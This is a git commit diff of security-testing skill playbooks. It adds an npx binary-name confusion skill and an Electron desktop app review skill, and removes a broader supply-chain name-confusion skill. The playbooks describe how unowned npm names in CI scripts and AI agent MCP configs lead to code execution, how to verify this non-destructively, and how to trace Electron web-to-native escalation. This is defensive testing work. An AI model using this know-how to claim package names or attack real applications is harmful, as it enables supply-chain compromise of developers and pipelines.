Refine advanced security skills

This commit is contained in:
bearsyankees
2026-08-11 23:56:12 -04:00
parent 1bf6c1616e
commit 4b05f9145a
15 changed files with 518 additions and 510 deletions
+3 -3
View File
@@ -42,7 +42,7 @@ Notable source-aware skills:
- `source_aware_whitebox` (coordination): white-box orchestration playbook
- `source_aware_sast` (custom): semgrep/AST/secrets/supply-chain static triage workflow
- `dependency_cve_scanning` (custom): trivy-based SCA workflow for reporting known dependency CVEs via `create_dependency_report`
- `supply_chain_name_confusion` (custom): npx/dependency confusion — command and package names the target resolves from a public registry but nobody owns, with non-destructive claimability verification and false-positive gates
- `npx_confusion` (custom): npx binary-name fallback into unintended public package resolution
- `advisory_to_poc` (custom): advisory-to-root-cause workflow for patch diffing, public PoCs, and detector design
- `appliance_firmware` (technologies): appliance artifact, runtime, and install-state analysis
- `protocol_reverse_engineering` (protocols): stateful/custom protocol reconstruction and safe harnessing
@@ -52,8 +52,8 @@ Notable source-aware skills:
- `browser_security` (vulnerabilities): browsing-context, postMessage, XS-Leaks, service-worker, and cross-origin state-machine testing
- `azure` (cloud): Azure and Microsoft Entra privilege, PIM, workload identity, and cross-plane escalation analysis
- `infrastructure_lifecycle` (reconnaissance): abandoned or mutable external dependencies such as update endpoints, MX, storage, and control domains
- `argument_injection` (vulnerabilities): CLI/argv flag smuggling and argument splitting, including Windows Best-Fit (WorstFit) charset transformations that defeat prior escaping
- `electron_desktop_apps` (vulnerabilities): Electron/web-tech desktop app renderer-to-native trust boundary, preload/IPC bridge exposure, and navigation-escape analysis
- `argument_injection` (vulnerabilities): shell-free CLI option smuggling, secondary argument-file parsing, and platform-specific argv transformation boundaries
- `electron_desktop_apps` (technologies): Electron renderer-to-native trust boundaries, preload/IPC exposure, and navigation analysis
---
+172
View File
@@ -0,0 +1,172 @@
---
name: npx-confusion
description: Test npx and npm exec binary-name confusion where a missing local executable is reinterpreted as a public npm package name, including scoped-package bin mismatches, CI and agent invocations, resolution-context analysis, and false-positive elimination
---
# npx Confusion
Use this skill when a target invokes a bare command through `npx` or `npm exec` and the intended executable name may differ from the package that provides it. This is narrower than classic dependency confusion: the issue is the transition from **unresolved binary name** to **remotely fetched package spec**.
Load `dependency_cve_scanning` for known vulnerable versions, `infrastructure_lifecycle` for abandoned domains or registry resources, `agentic_system_security` for the authority of an MCP/agent process, and `semantic_confusion` for the general lookup-order model.
## Core Condition
Require all of the following:
1. A target-controlled workflow invokes `npx <name>`, `npx -y <name>`, or an equivalent `npm exec` form.
2. `<name>` is not resolved as an executable in the workflow's real local/global context.
3. npm consequently interprets `<name>` as a package spec and consults the configured registry.
4. The resolved public name is unintended, unregistered, or controlled by a party other than the intended publisher.
5. The affected workflow actually reaches the fetched package's executable.
A public package merely being outside the target's ownership is not a vulnerability. Third-party packages are normal; the mismatch between intended executable provenance and actual registry resolution is the finding.
## Resolution Model
Record the npm version because `npx` has used `npm exec` since npm 7 and resolver behavior changes between releases. For current npm, model these decisions:
```text
bare command
-> executable in ancestor node_modules/.bin?
-> executable in global bin?
-> matching local/global package and usable bin?
-> matching environment in the npx cache?
-> treat the command token as a package spec
-> fetch its manifest from the configured registry
-> infer one executable from package.json#bin
-> install into the npx cache and execute
```
Also record:
- working directory and workspace root
- local dependency tree and generated `node_modules/.bin` links
- global prefix/bin directory and npx cache
- `registry`, scope-specific registry rules, proxy and authentication configuration
- command form, flags, package spec/version, TTY/CI state, and `yes` policy
- npm's executable-inference result when the package exposes zero, one, or several `bin` entries
Do not collapse package-name lookup and bin selection into one step. npm can fetch a manifest yet fail because it cannot infer exactly one executable.
## High-Signal Patterns
### Bare executable fallback
```text
npx internal-tool
npx -y internal-tool
npm exec -- internal-tool
```
The signal is strongest in CI, release scripts, bootstrap commands, developer setup, and tool/agent configuration where the same command is run repeatedly.
### Scoped package versus unscoped bin
A scoped package can expose an unscoped executable:
```json
{
"name": "@org/tooling",
"bin": { "org-tool": "./bin/run.js" }
}
```
Inside a correctly installed workspace, `npx org-tool` may resolve `node_modules/.bin/org-tool`. Outside that tree, the same command can fall back to the public package named `org-tool`. Treat documentation, MCP configuration, and bootstrap scripts as separate execution contexts rather than assuming the repository-local result applies everywhere.
### Agent and MCP launchers
Inspect `.mcp.json`, editor/desktop agent configuration, devcontainers, and generated tool launchers for `command: npx` plus `-y` and a bare package or binary name. Combine this resolver analysis with `agentic_system_security` to determine the credentials, tools, files, and network access inherited by that process.
## Candidate Collection
Search executable surfaces and retain file, line, command, and execution context:
```bash
rg -n --no-heading -g '!node_modules' \
-e '\b(npx|npm\s+exec)\s+[^[:space:]]+' \
-e '"command"\s*:\s*"npx"' \
-e '"args"\s*:\s*\[[^]]*"-y"' \
package.json package-lock.json npm-shrinkwrap.json \
.github .gitlab-ci.yml Jenkinsfile Dockerfile Makefile \
.mcp.json .cursor .vscode 2>/dev/null
```
Also inspect:
- package scripts and lifecycle hooks
- workspace package `name` and `bin` maps
- READMEs and generated setup instructions
- CI composite actions and reusable workflows
- source maps or bundled package metadata that reveal internal commands
Discard paths, shell variables, flags, Node built-ins, and text that is not executed or presented as an executable command.
## Establish the Actual Resolution
Prefer inspecting the existing dependency tree, lockfile, workspace packages, and `.bin` links. Do not run `npm ci` merely to decide whether a command is local: it changes the tree and can execute lifecycle scripts.
For a version-controlled reproduction environment, record npm's registry lookup without allowing a missing package to be installed:
```bash
npx --no --loglevel=http <candidate>
```
Interpret this carefully:
- a local executable may run immediately; `--no` only refuses missing-package installation
- an HTTP registry request shows fallback, not ownership or successful execution
- a cancellation naming the missing package shows npm's chosen package spec
- cache, global installs, parent directories, workspaces, and registry configuration can change the result
Repeat the resolution analysis in every context that matters: repository root, documented launch directory, CI checkout, generated agent configuration, and bootstrap-before-install flow. Do not substitute a clean empty directory for the target context except to understand npm's generic name mapping.
## Ownership and Registry State
Query the exact registry selected by the target configuration, then distinguish:
- intended package owned by the expected publisher
- unrelated public package with the same name
- unregistered name (`404` from a functioning registry)
- private or access-controlled name (`401`/`403`)
- transient/rate-limited/blocked lookup (`429`, `5xx`, timeout)
- placeholder, reserved, disputed, or previously unpublished name
A `404` proves absence from that registry at that time; it does not by itself prove that registration would be accepted. Registry similarity, trademark, reservation, security-hold, and unpublish rules remain separate facts. Inspect maintainers and ownership metadata rather than treating a version such as `0.0.1-security` as conclusive by itself.
## Validation and Impact
Demonstrate the complete resolver statement:
```text
target-controlled invocation and context
-> intended executable absent
-> exact public package spec selected
-> package ownership/availability state
-> execution trigger and inherited authority
```
Do not report an unregistered name without an execution path, or an execution path whose command is satisfied locally in every relevant context. Derive impact from the environment that executes the package: developer workstation, CI job, release pipeline, agent runtime, container build, or documentation-only workflow.
## False Positives
- The executable is provided by a declared dependency in every real execution context.
- `npx --package @scope/pkg <bin>` explicitly binds the executable to the intended package.
- A versioned package spec or scope-specific registry points to the intended publisher.
- The public package is the deliberately selected third-party tool.
- npm fetches the manifest but cannot infer or execute a bin.
- The reference appears only in generated/minified text with no executable call site.
- A registry/proxy error is misread as an unregistered name.
- A package is absent but registry policy prevents the contested registration.
## Remediation
- Install the intended package and invoke its local executable through an npm script.
- Bind the command explicitly: `npx --package @org/tool org-tool`.
- Use `--no` where a missing local dependency must fail instead of fetching.
- Route private scopes to the intended registry and prevent public fallback.
- Pin package versions and lockfiles in privileged workflows.
- Replace bare `npx -y <name>` agent launchers with reviewed, publisher-qualified, version-pinned package specs.
## Summary
Treat npx confusion as an execution-context bug: an unresolved executable is reinterpreted as a package name and fetched from a registry. Prove each resolver transition, distinguish binary names from package names, and evaluate every working directory and automation context independently.
+6 -8
View File
@@ -129,14 +129,12 @@ In repositories with developer tooling, plugins, templates, or package runners,
Record candidate names and verify ownership/existence without claiming or publishing them. A namespace gap is reportable only when the target actually resolves or executes the attacker-contestable name under realistic conditions.
For the npm/JavaScript case this is decidable without publishing anything —
`npx --no <cmd>` in a clean directory prints the exact registry URL npm would
fetch, and the same command in the repo after `npm ci` shows whether
`node_modules/.bin` already satisfies it. `load_skill(["supply_chain_name_confusion"])`
for the full workflow (npx/bunx/`dlx` fallback, scoped-package `bin` mismatch,
internal/`workspace:` deps, MCP configs) and its registry-status and
claimability gates. Trivy cannot see any of this: the dependency is not
vulnerable, the name resolution is.
For npm/JavaScript, distinguish the package name from the executable name and
model the actual working directory, dependency tree, global bin directory,
cache, and registry configuration. `load_skill(["npx_confusion"])` when a bare
`npx`/`npm exec` command may fall back from a missing executable to a public
package. Trivy cannot detect this class because no installed package version
needs to be vulnerable.
Load `infrastructure_lifecycle` when source, images, firmware, or history contain abandoned domains, provider resources, package namespaces, update URLs, mail identities, telemetry, or control endpoints. Use targeted string/dataflow analysis when this is the research question; the full baseline scanner bundle is not required merely to trace one endpoint consumer.
@@ -1,257 +0,0 @@
---
name: supply-chain-name-confusion
description: npx/dependency confusion playbook — find command and package names a target resolves from a public registry but nobody owns (npx/bunx/dlx fallback, scoped-package bin mismatch, internal deps), verify claimability non-destructively, and report only proven-reachable cases
---
# Supply Chain Name Confusion (npx / dependency confusion)
A target is vulnerable when a name it *executes or installs* is resolved from a
**public** registry and that name is **not owned by the target**. Whoever
registers the name first gets arbitrary code execution on developer laptops,
CI/CD runners, release pipelines, and AI coding agents — with whatever tokens
those environments hold. There is no CVE, no vulnerable version, and SCA tools
miss it completely: the dependency is not vulnerable, the *name resolution* is.
Four distinct findings, in descending signal:
| Type | Condition |
|---|---|
| **npx confusion** | `npx <cmd>` where `<cmd>` is not resolvable locally, so npm installs the public package literally named `<cmd>` |
| **bin mismatch** | A scoped package `@org/foo-tool` ships `"bin": {"foo-tool": ...}`. `bin` keys cannot contain `/`, so docs/scripts say `npx foo-tool` → resolves the **unscoped** name, which the org usually never registered |
| **dependency confusion** | An internal/`workspace:`/`file:` dependency name that resolves publicly when the private registry is missing, misconfigured, or lower-priority |
| **name clash** | The name exists publicly but is owned by an unrelated third party — the target already executes someone else's code |
This skill is **npm-name-resolution** focused, and deliberately concrete: the
decision procedure below is what separates a real finding from an unowned name
that nothing actually resolves. Related skills, and where the boundary sits:
- `dependency_cve_scanning` — known-CVE dependency versions. Different finding
class, different report tool.
- `infrastructure_lifecycle` — the general ownership-continuity model (domains,
MX, update endpoints, buckets). Load it when the target trusts an abandoned
*endpoint* rather than an unowned *name*.
- `agentic_system_security` — MCP/agent component supply chain. Load it when the
question is the agent's effective authority; come here for who owns the
package name its `command: npx -y <name>` resolves.
- `semantic_confusion` — the general "two components disagree about a
representation" model, of which scoped-package-vs-unscoped-bin is one case.
- CI/CD workflow abuse (`pull_request_target`, mutable PR merge refs, cache
poisoning) is a separate class — do not fold it in here.
## How npx Resolves a Command
npm CLI (`libnpmexec`) tries, in order:
1. `node_modules/.bin` walking up from cwd (local install)
2. the global bin dir / global `node_modules`
3. the npx cache (`_npx`)
4. **fetch from the configured registry** the package literally named after the
command, install it, then execute its bin
Step 4 is the vulnerability. Two properties make it worse than it looks:
- In a **non-TTY / CI** context npm does not prompt — it logs a warning and
installs. `-y` / `--yes` (extremely common in CI and in MCP server configs)
removes the prompt everywhere.
- The registry is hit **before** the prompt/`--no` check, so the resolution
target is observable without ever installing anything.
Equivalents to cover: `npm exec`, `bunx`, `pnpm dlx`, `yarn dlx`,
`deno run npm:<name>`. Same class in other ecosystems: `uvx <name>` /
`pipx run <name>` (PyPI dist name vs `console_scripts` name — identical
mismatch bug), implicit `docker.io/library/<image>`, devcontainer features,
and `uses: org/repo@ref` in GitHub Actions when the org/repo was renamed.
## Phase 1 — Collect Candidates (with execution context)
Record for every candidate: **name, file, line, and whether it is executed**.
Context is what separates a finding from noise later, so never collect a bare
name list.
```bash
ART=/workspace/.strix-namecheck; mkdir -p "$ART"
# Executed invocations — the primary vector
rg -n --no-heading -g '!node_modules' \
-e '\b(npx|bunx)\s+(-{1,2}[a-zA-Z-]+(=\S+)?\s+)*[@a-zA-Z0-9._/-]+' \
-e '\b(pnpm|yarn)\s+dlx\s+\S+' \
-e '\bnpm\s+exec\s+\S+' \
. > "$ART/invocations.txt"
```
Cover every executable surface, not just `package.json` scripts:
- `package.json` `scripts` (incl. `pre*`/`post*` hooks), `Makefile`, shell
scripts, `Dockerfile` `RUN`, `.husky/`, `lint-staged`, Turbo/Nx task defs
- CI: `.github/workflows/*.yml` `run:` steps, composite actions, GitLab CI,
Jenkinsfiles — highest impact, these hold registry/cloud credentials
- **MCP / agent configs**: `.mcp.json`, `.cursor/mcp.json`, `.vscode/mcp.json`,
`claude_desktop_config.json`, `devcontainer.json`. These are almost always
`npx -y <name>` and are executed by an agent with no human review
- `README`/docs install snippets — real risk (humans and agents paste them),
but lower confidence than a CI step; grade accordingly
- `bin` maps of every package the target *publishes* (walk its npm scope:
`https://registry.npmjs.org/-/org/<org>/package`), plus local workspace
`package.json` files
- `dependencies`/`devDependencies` entries using `file:`, `link:`,
`workspace:`, or a scope that only exists internally
- Black-box targets: exposed `/package.json`, `/package-lock.json`,
`/npm-shrinkwrap.json`, source maps (`sources[]`), and webpack module paths
(`node_modules/<name>/`) in served bundles. Capture bundles from real traffic
(agent-browser HAR) rather than scraping HTML — lazily loaded chunks hold the
internal names, and parse them as JS (AST) instead of regexing minified text
Drop immediately, before any registry traffic: Node builtins (`fs`, `node:*`),
names containing shell/template expansion (`$VAR`, `{{`, backticks), paths
(`./x`, `/x`), flags, and anything failing npm name rules (lowercase, ≤214
chars, no leading `.`/`_`, URL-safe).
## Phase 2 — Prove the Name Reaches the Public Registry
Do this **before** checking availability. It is the gate that kills most noise:
if the command resolves locally, there is no registry fallback and no finding.
```bash
# A. What does the bare command actually resolve to? Clean dir, no deps.
cd "$(mktemp -d)" && npx --no <cmd> 2>&1 | grep -E '404|GET https'
# → "404 Not Found - GET https://registry.npmjs.org/<cmd>" proves npx maps the
# bare command to exactly that public package. Non-destructive: npm resolves
# the manifest before the install prompt, so nothing is installed.
# B. Does the target's own environment fall back? Repo root, after normal install.
cd /workspace/<repo> && npm ci && npx --no <cmd> --version
# → succeeds = satisfied by node_modules/.bin → NOT a finding in this context
# → E404/ENOENT = falls back to the registry → finding stands
```
`npx --no` from a subdirectory still walks up to the workspace root, so a
locally installed bin is safe from any cwd inside the project. Treat a
locally-satisfied command as a finding **only** when you can point at an
execution path outside that installed tree (a bootstrap script run before
`npm ci`, a docs snippet a user runs in `$HOME`, an MCP config on a developer
machine) — and grade it lower.
## Phase 3 — Determine Ownership and Claimability
```bash
curl -s -o /tmp/pkg.json -w '%{http_code}\n' \
"https://registry.npmjs.org/$(printf '%s' "$NAME" | sed 's|@|%40|; s|/|%2f|')"
```
| Response | Meaning | Action |
|---|---|---|
| `404 {"error":"Not found"}` | unregistered | candidate finding — continue to the gates below |
| `200`, `dist-tags.latest` = `0.0.1-security` (single stub version, npm-owned) | npm **security holding** placeholder | **not claimable** → not a finding. Strong evidence the name was already abused/reserved; report at most informationally |
| `200`, maintainers/repository belong to the target | target owns it | not a finding — drop silently |
| `200`, unrelated owner | **name clash** — target executes third-party code | finding only if Phase 2 passed; check publish date, weekly downloads, and whether the code is malicious/squatting |
| `401`/`403` | private or blocked scope | inconclusive — do not report |
| `429`/`5xx`/timeout/DNS failure | **unknown** | never treat as unregistered; retry later, otherwise record as a scan limitation |
Two claimability gates that npxconfuse-style tooling gets wrong:
- **npm typosquat/moniker rule**: a *new* package name is rejected if, with
punctuation (`. - _`) removed, it collides with an existing package. So a
`404` name can still be unregisterable. Check the punctuation-stripped form
and plausible punctuation variants; if one exists, the attack fails — downgrade
to informational. `npm publish --dry-run` does **not** perform this check.
- **Unpublished names**: `name@version` can never be reused, and a fully
unpublished package's name is blocked for 24h. A `404` on a name whose GitHub
history shows it once existed needs this called out in `assumptions`.
Verify the checker itself before trusting any `404` — a proxy, mirror, or
offline sandbox can turn every lookup into a uniform answer:
```bash
for n in lodash strix-sentinel-$(uuidgen | tr 'A-Z' 'a-z'); do
echo "$n $(curl -s -o /dev/null -w '%{http_code}' https://registry.npmjs.org/$n)"
done
# MUST print 200 then 404. Anything else → your results are meaningless; stop.
```
Re-confirm every `404` at least twice, spaced out, and cross-check with
`npm view <name> versions --json`.
## Phase 4 — Report
**Never publish, reserve, or squat a name on a public registry**, and never
ship a canary/callback payload — that is an attack on a third party and on the
target's users. All evidence here is non-destructive. If the target explicitly
authorizes a defensive placeholder publish, that is remediation work, not
validation, and needs written authorization first.
File with `create_vulnerability_report`, one report per **unique name** with
every occurrence aggregated in `code_locations` (never one report per line).
The PoC is the two-part resolution proof, which is fully reproducible and
requires no malicious package: (1) `npx --no <cmd>` in a clean directory
showing `GET https://registry.npmjs.org/<cmd>` → 404, i.e. the command resolves
to an unowned public name; (2) the target's own execution path (CI step, MCP
config, docs command) that runs it. State plainly in `assumptions` that code
execution follows from an attacker registering the name and that no package was
published during testing.
Severity — derive it from the environment that executes the command:
- **Critical/High**: unregistered name reached from CI/CD, release, or
publish-time execution, or from an MCP/agent config or bootstrap script that
runs on developer machines. Full code execution with pipeline credentials
(`AV:N`, `PR:N`, `C:H/I:H/A:H`; `UI:R` when a human or agent must trigger it)
- **Medium**: name clash — the target already executes an unrelated owner's
package, but you have not shown that package is malicious
- **Low/Informational**: docs-only mention with no executed path; the command
is satisfied locally in every real execution context; the name is npm-held,
blocked by the moniker rule, or private-scope
- **Not a finding**: registry lookup inconclusive, target owns the name, or
Phase 2 showed no registry fallback
## False Positives — Hard Gates
Every one of these has burned automated name-confusion scanners:
1. **Locally satisfied commands.** `npx tsc`, `npx eslint`, `npx vite` in a repo
that declares them are resolved from `node_modules/.bin`. Phase 2B is
mandatory, not optional.
2. **Popular public tools.** A `200` for `prettier`/`tsc`/`jest` is the real
tool by its real maintainer, not a clash. Do not report ecosystem-standard
binaries as name clashes without evidence of ownership change.
3. **Non-confusable invocation forms.** `npx @scope/pkg`, `npx --package
@scope/pkg <bin>`, `npx pkg@1.2.3` where the org owns `pkg`, and any
`--registry`-pinned or `.npmrc` scope-routed call. Regex-matching `npx \S+`
flags all of these.
4. **`.npmrc` scope routing.** If `@org:registry=` points at a private registry
and the internal scope is fully qualified, dependency confusion for that
scope does not apply. Read `.npmrc`, `.yarnrc.yml`, and CI registry setup
before reporting internal-dependency findings.
5. **Registry errors read as availability.** Rate limits, proxy blocks, and
egress restrictions are not `404`. Run the sentinel check.
6. **npm-held / unregisterable names.** `0.0.1-security` stubs and
moniker-rule collisions look claimable but are not.
7. **Names the target already owns.** Compare maintainers, repository URL, and
scope before assuming a third party controls a name.
8. **Bundle-extraction garbage.** Minified identifiers, CSS class names, and
chunk fragments are not package names. Require an AST-level
`require`/`import`/module-path context, then the npm-name-validity filter.
9. **Upstream, not the target.** An unowned name inside a third-party
dependency's manifest is that maintainer's exposure. Note it separately;
do not file it against the target.
10. **Duplicates.** Dedupe by name across all sources before any registry
traffic and before reporting.
## Remediation
Ordered by durability:
1. Invoke the full package name: `npx --package @org/foo-tool foo-tool`, or
rename the `bin` so it matches, or drop `npx` and call the local binary
(`node_modules/.bin/foo-tool`, `npm run`).
2. Add `--no` (`npx --no <cmd>`) so a missing local install fails loudly
instead of silently installing from the public registry; use
`npm ci`-installed devDependencies in CI, never on-the-fly `npx -y`.
3. Register the unscoped names the org's docs and `bin` maps tell people to
run, as placeholders pointing at the scoped package.
4. Route internal scopes explicitly (`@org:registry=`) and ensure the private
registry does not fall through to the public one for internal names.
5. Pin versions, commit lockfiles, and prefer `--offline`/vendored installs in
privileged pipelines.
6. Audit MCP/agent configs for `npx -y <bare-name>` — an agent will run them
without asking.
@@ -69,15 +69,12 @@ Record signature, hash, certificate, pinning, version/rollback, and content-type
Do not register or publish candidate names merely to test them without explicit authorization and a containment plan. Prove the consumer's resolution behavior first.
Registry "missing" responses are not interchangeable with "claimable". On npm,
a `404` name can still be unregisterable (the punctuation-stripping moniker
rule blocks names that collide with an existing package once `.`/`-`/`_` are
removed), and a `200` may be an npm `0.0.1-security` holding stub that nobody
else can take. `load_skill(["supply_chain_name_confusion"])` for the npm/npx
resolution order, the non-destructive `npx --no` reachability proof, and the
full registry-status matrix; the same shape applies to `uvx`/`pipx run` on
PyPI (distribution name vs `console_scripts` name), implicit
`docker.io/library/<image>`, and `uses: org/repo@ref` after an org rename.
Registry "missing" responses are not interchangeable with "claimable".
Similarity, reservation, security-hold, dispute, and unpublish rules can block
a name that returns `404`; verify ownership and registry policy separately.
Load `npx_confusion` when the consumer first treats a missing executable as an
npm package spec. Model other ecosystems independently rather than assuming
npm's resolution order applies to them.
### Mail and Identity
@@ -212,7 +209,7 @@ Include:
- Update content is independently signed and the reassigned endpoint cannot produce an accepted artifact; this usually blocks forged-code impact, but metadata exposure, update suppression, unsigned manifest fields, and rollback/version behavior still require analysis.
- Expired domain appears in documentation but is absent from authentication, mail, software, and deployed configuration.
- A package name is unregistered but the consumer is pinned to a private registry with no public fallback, the scope is routed by `.npmrc`, or the command is already satisfied by a locally installed binary.
- The name is unregistered but unregisterable: blocked by a registry similarity/moniker rule, held by a registry-owned security placeholder, or reserved after an unpublish.
- The name is unregistered but registry policy, reservation, dispute, or unpublish state prevents the contested registration.
- Inbound sensor traffic cannot be attributed to an in-scope consumer/version.
## Remediation
@@ -0,0 +1,181 @@
---
name: electron-desktop-apps
description: Test Electron desktop applications across renderer, preload, IPC, main-process, navigation, custom-protocol, storage, permission, and update trust boundaries; use for packaged Electron apps, ASAR review, web-to-native capability analysis, and Electron-specific exploit chains
---
# Electron Desktop Applications
Use this skill for Electron applications. Other webview desktop frameworks may share the high-level web-to-native trust question, but their bridge, sandbox, update, and process APIs differ; do not apply Electron-specific conclusions to NW.js, CEF, Tauri, or Wails without mapping that framework separately.
Pair this skill with `browser_security` for browser state and navigation, `xss` for renderer injection, `argument_injection` for native subprocess launches, and `insecure_deserialization` or `rce` for a main-process sink.
## Architecture and Authority Map
Inventory each security principal and the capabilities crossing between them:
```text
origin + document + frame
-> renderer JavaScript
-> preload isolated world
-> contextBridge API
-> IPC channel
-> sender/argument/identity checks
-> main process or utility process
-> filesystem, process, credential, media, network, update, or OS action
```
Record:
- Electron, Chromium, Node, and application versions
- packaging form, `app.asar`, unpacked resources, entry point, and fuses
- every `BrowserWindow`, `WebContentsView`, `<webview>`, session/partition, and child window
- `webPreferences`: `preload`, `nodeIntegration`, `contextIsolation`, `sandbox`, `webSecurity`, `allowRunningInsecureContent`, experimental features, and subframe/worker integration
- every preload export and every `ipcMain.handle`/`ipcMain.on` consumer
- origins/documents/frames that can reach each exported API
- custom protocols, deep links, navigation helpers, permissions, downloads, storage, and update channels
Do not infer authority from a setting or channel name alone. Follow one request from renderer input to the main-process side effect and record each authorization decision.
## Package and Source Reconnaissance
Extract the application bundle with a reviewed, version-pinned ASAR implementation or inspect an already unpacked `resources/app` tree. Locate `package.json#main`, preload paths, build metadata, Electron version, native modules, and update configuration.
Search for:
```text
BrowserWindow WebContentsView webviewTag webPreferences
preload contextBridge.exposeInMainWorld ipcRenderer
ipcMain.handle ipcMain.on webContents.ipc
will-navigate will-frame-navigate will-redirect
setWindowOpenHandler loadURL loadFile openExternal
setPermissionRequestHandler registerSchemesAsPrivileged
setAsDefaultProtocolClient open-url second-instance
autoUpdater electron-updater
```
Treat decompiled or bundled JavaScript as a hypothesis when source maps, minification, generated IPC bindings, or runtime feature flags can change the installed behavior.
## Preload and Context-Bridge Analysis
A preload script has privileged Electron/Node access even when `nodeIntegration` is disabled. With context isolation, it can still expose selected functions and values into the page's main world.
Classify every export:
- narrow operation with fixed channel and validated arguments
- caller-selected channel or event name
- direct exposure of `ipcRenderer`, Node/Electron modules, filesystem/process objects, or mutable privileged objects
- callback/event registration that leaks the raw IPC event or privileged objects
- secret/session/storage access
- operation whose authorization exists only in renderer JavaScript
A generic `send(channel, ...)` or `invoke(channel, ...)` bridge expands the renderer's candidate capability set, but the registered handler list is not the ACL. For each handler, inspect:
- `event.senderFrame` URL/origin and frame identity validation
- expected `webContents`, window, session/partition, and application state
- user/tenant authorization and request provenance
- argument schema, paths, URLs, command options, and object deserialization
- result exposure and event subscriptions
An IPC handler's existence does not prove an untrusted frame can invoke it successfully.
## Navigation and Window Boundaries
Web preferences belong to a `webContents`; navigation does not automatically turn a privileged window into an ordinary browser tab. A configured preload can run for newly loaded documents and expose its bridge to content that was never intended to receive it.
Map all navigation causes:
- user- or page-initiated main-frame navigation (`will-navigate`)
- subframe navigation (`will-frame-navigate`)
- server redirects (`will-redirect`)
- new windows and popups (`setWindowOpenHandler`)
- application calls to `loadURL`, `loadFile`, history APIs, or routing helpers
- custom-protocol redirects and external-link handlers
`will-navigate` does not cover every programmatic navigation, so the event's presence is not complete enforcement.
Parse candidate URLs with `URL` and compare explicit protocol, origin/host, port, and path rules. Do not use string-prefix checks such as `startsWith("https://trusted.example")`. Apply the same canonical policy to initial loads, redirects, frames, popups, programmatic loads, and externally opened URLs.
Before calling `shell.openExternal`, validate the scheme and complete destination expected by the feature. Treat `file:`, custom schemes, handler-specific arguments, credentials in URLs, and ambiguous encodings as separate cases.
## Node, Isolation, and Sandbox Settings
- `nodeIntegration: true` in a renderer that can execute untrusted script directly exposes Node capability and commonly turns renderer injection into native code execution.
- `contextIsolation: false` weakens the boundary between page and preload worlds but is not, by itself, proof of native code execution.
- `sandbox: false` removes Chromium process isolation; determine which preload or renderer capabilities become reachable rather than reporting the flag alone.
- `webSecurity: false`, `allowRunningInsecureContent`, permissive experimental features, and unsafe `<webview>` preferences change separate browser boundaries and must be traced to an exploit path.
- `nodeIntegrationInSubFrames` and preload injection into frames require frame-by-frame sender and origin analysis.
Record Electron-version defaults. A missing explicit setting can mean different behavior on different major releases.
## Custom Protocols and Deep Links
Treat OS-delivered URLs and second-instance command lines as attacker-controlled inputs:
```text
OS handler / browser / document
-> custom scheme or argv
-> URL/argument parsing
-> application router
-> renderer navigation or native operation
```
Test authority and parser boundaries for host/path normalization, duplicate parameters, encoding depth, file paths, option injection, and cross-profile/account routing. Confirm which application instance and user session receives the event.
For custom application protocols, record whether the scheme is registered as secure, standard, CORS-enabled, stream-capable, or privileged, and how that affects origin and storage behavior.
## Permissions, Storage, and Secrets
Map session permission handlers for media, notifications, geolocation, clipboard, display capture, USB/HID/serial, filesystem access, and external protocols. Verify decisions use the requesting frame/origin and cannot be inherited from a more trusted window.
Inventory secrets and capability-bearing state reachable from renderer or preload code:
- tokens, cookies, session identifiers, recovery material, and encryption keys
- IndexedDB, local/session storage, cookies, cache, filesystem databases, and keychain wrappers
- local service ports, named pipes, Unix sockets, and authentication material
At-rest encryption does not protect data when the renderer can retrieve the key or ask a privileged bridge to decrypt it.
## Updates and Native Extensions
Trace the update pipeline as an executable supply chain:
- feed URL and channel selection
- TLS identity, redirects, proxy behavior, and metadata parsing
- artifact signature and publisher verification
- version/rollback policy and staged update state
- native modules, helper binaries, installers, and post-update hooks
An attacker-controlled feed is not automatically native code execution if independent artifact signatures are mandatory. Conversely, HTTPS does not compensate for missing artifact authenticity or unsafe rollback behavior.
## Validation
- Record the exact installed build, Electron version, preferences, preload, handler, and current document/frame origin.
- Demonstrate the complete path from attacker-controlled input or renderer state to the main-process operation.
- Capture sender-validation and argument-validation outcomes, not only successful IPC transport.
- Re-test after cross-origin navigation, redirect, frame creation, window creation, and session/profile changes.
- Separate renderer script execution, bridge access, accepted IPC, privileged data access, filesystem/process control, and native code execution.
## False Positives
- A preload or handler exists but the tested document/frame cannot reach it.
- A channel is registered but rejects the sender, identity, state, or arguments.
- `contextIsolation` or sandboxing is disabled without a reachable privileged API.
- Navigation is blocked on user links but still possible through application code, or vice versa.
- A remote page has no preload export, Node integration, IPC route, or privileged permission.
- An update feed is mutable but every artifact and version transition is independently authenticated.
- A secret-looking value is scoped to synthetic/test data or cannot authorize any downstream action.
## Remediation
- Load local application UI and isolate remote content in an unprivileged `WebContentsView` or external browser.
- Keep Node integration disabled, context isolation enabled, and renderer sandboxing enabled.
- Expose narrow preload APIs with fixed operations and strict schemas.
- Validate every IPC sender frame, application identity, authorization context, and argument in the main process.
- Parse and allowlist navigation destinations consistently across every navigation path.
- Restrict permissions per session and requesting origin.
- Keep credentials and encryption keys outside renderer reach.
- Authenticate update metadata and artifacts, enforce rollback policy, and pin publishers.
## Summary
Electron security depends on which document and frame can reach which native capability. Map navigation, preload exports, IPC sender checks, permissions, storage, protocols, and updates as one authority graph, then validate the entire path to the privileged operation.
@@ -120,13 +120,11 @@ Every skill, plugin, MCP server, model adapter, package, and update channel is a
- transitive dependencies and lifecycle scripts
- review/approval ownership and last verification date
Agent and MCP configs (`.mcp.json`, `.cursor/mcp.json`, `.vscode/mcp.json`,
`claude_desktop_config.json`, `devcontainer.json`) are the highest-risk
instance of this: a `command: npx` with `-y` and a bare, unscoped package name
is an unattended registry install of whatever that name resolves to, with no
human in the loop. Enumerate every such entry and confirm who owns the name
`load_skill(["supply_chain_name_confusion"])` for the resolution proof and
ownership/claimability gates.
In agent and MCP configs, inspect `command: npx` with `-y` and a bare package or
binary name. The process can fetch code without an interactive prompt and then
run it with the agent's authority. Load `npx_confusion` to determine whether the
name resolves locally, becomes a public package spec, and belongs to the
intended publisher.
Test missing/private-name fallback, typosquatting exposure, mutable remote instructions, compromised-update blast radius, and whether an “instruction-only” component can invoke tools or modify executable files. Resolve `latest`, floating git refs, and mutable image tags to immutable versions or digests before launch. Do not claim or publish contestable package names as proof, and do not execute unknown packages just to discover what they are.
@@ -1,122 +1,157 @@
---
name: argument-injection
description: Argument injection and argument splitting testing for CLI/subprocess invocations, including flag/option smuggling, argv boundary breakout, response/config file abuse, and Windows Best-Fit (WorstFit) charset transformations that defeat prior escaping
description: Test shell-free command argument injection across argv builders and CLI parsers, including option smuggling, response/config-file parsing, argument-boundary reparsing, and Windows Unicode-to-ANSI Best-Fit transformations
---
